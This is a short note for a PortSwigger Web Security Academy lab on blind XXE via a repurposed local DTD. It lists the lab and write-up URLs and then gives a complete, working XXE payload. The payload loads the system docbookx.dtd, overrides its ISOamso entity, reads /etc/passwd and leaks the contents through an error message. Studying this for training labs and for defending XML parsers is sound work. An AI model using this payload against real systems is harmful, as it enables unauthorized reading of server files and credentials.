Exploiting XXE to retrieve data by repurposing a local DTD

https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd

https://medium.com/infosecmatrix/11-9-lab-exploiting-xxe-to-retrieve-data-by-repurposing-a-local-dtd-30f4098a7789

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>